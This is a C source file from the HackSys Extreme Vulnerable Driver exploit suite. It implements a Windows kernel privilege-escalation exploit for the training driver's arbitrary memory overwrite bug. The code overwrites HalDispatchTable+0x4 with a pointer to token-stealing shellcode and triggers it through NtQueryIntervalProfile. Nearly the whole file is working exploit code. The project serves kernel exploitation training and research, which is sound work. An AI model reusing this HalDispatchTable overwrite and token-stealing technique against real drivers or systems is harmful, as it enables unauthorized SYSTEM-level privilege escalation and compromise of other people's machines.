hacksysteam-HackSysExtremeVulnerableDriver/Exploit/Source/ArbitraryOverwrite.c

/*++

 /$$   /$$                     /$$        /$$$$$$                     
| $$  | $$                    | $$       /$$__  $$                    
| $$  | $$  /$$$$$$   /$$$$$$$| $$   /$$| $$  \__/ /$$   /$$  /$$$$$$$
| $$$$$$$$ |____  $$ /$$_____/| $$  /$$/|  $$$$$$ | $$  | $$ /$$_____/
| $$__  $$  /$$$$$$$| $$      | $$$$$$/  \____  $$| $$  | $$|  $$$$$$ 
| $$  | $$ /$$__  $$| $$      | $$_  $$  /$$  \ $$| $$  | $$ \____  $$
| $$  | $$|  $$$$$$$|  $$$$$$$| $$ \  $$|  $$$$$$/|  $$$$$$$ /$$$$$$$/
|__/  |__/ \_______/ \_______/|__/  \__/ \______/  \____  $$|_______/ 
                                                   /$$  | $$          
                                                  |  $$$$$$/          
                                                   \______/           


Copyright (C) 2010-2015 HackSys Team. All rights reserved.

This file is part of HackSys Extreme Vulnerable Driver Exploit.

See the file 'LICENSE' for copying permission.

Author : Ashfaq Ansari
Contact: ashfaq_ansari1989[at]hotmail.com
Website: http://hacksys.vfreaks.com

Project Name:
    HackSys Extreme Vulnerable Driver Exploit

Module Name:
    ArbitraryOverwrite.c

Abstract:
    This module implements the exploit for Arbitrary Memory 
    Overwrite Vulnerability implemented in HackSys Extreme 
    Vulnerable Driver.

--*/

#include "ArbitraryOverwrite.h"

DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) {
    ULONG interval = 0;
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    HMODULE hNtDll = NULL;
    PVOID halDispatchTableAdrress = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PWRITE_WHAT_WHERE pWriteWhatWhere = NULL;
    PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For WRITE_WHAT_WHERE Structure\n");

        pWriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
                                                       HEAP_ZERO_MEMORY,
                                                       sizeof(WRITE_WHAT_WHERE));

        if (!pWriteWhatWhere) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pWriteWhatWhere);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        }

        DEBUG_INFO("\t\t[+] Gathering Information About Kernel\n");

        halDispatchTableAdrress = GetHalDispatchTable();

        if (!halDispatchTableAdrress) {
            DEBUG_ERROR("\t\t[-] Failed Gathering Information: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            halDispatchTableAdrress = (PVOID)((ULONG)halDispatchTableAdrress + sizeof(PVOID));

            DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", halDispatchTableAdrress);
        }

        DEBUG_INFO("\t\t[+] Preparing WRITE_WHAT_WHERE structure\n");

        pWriteWhatWhere->What = (PULONG)&pEopShellcode;
        pWriteWhatWhere->Where = (PULONG)halDispatchTableAdrress;

        DEBUG_INFO("\t\t\t[+] pWriteWhatWhere: 0x%p\n", pWriteWhatWhere);
        DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->What: 0x%p\n", pWriteWhatWhere->What);
        DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->Where: 0x%p\n", pWriteWhatWhere->Where);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Arbitrary Memory Overwrite\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
                        (LPVOID)pWriteWhatWhere,
                        sizeof(WRITE_WHAT_WHERE),
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_INFO("\t\t[+] Triggering Payload\n");

        hNtDll = LoadLibrary("ntdll.dll");

        if (!hNtDll) {
            DEBUG_ERROR("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");

        if (!NtQueryIntervalProfile) {
            DEBUG_ERROR("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        NtQueryIntervalProfile(0x1337, &interval);

        HeapFree(GetProcessHeap(), 0, (LPVOID)pWriteWhatWhere);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}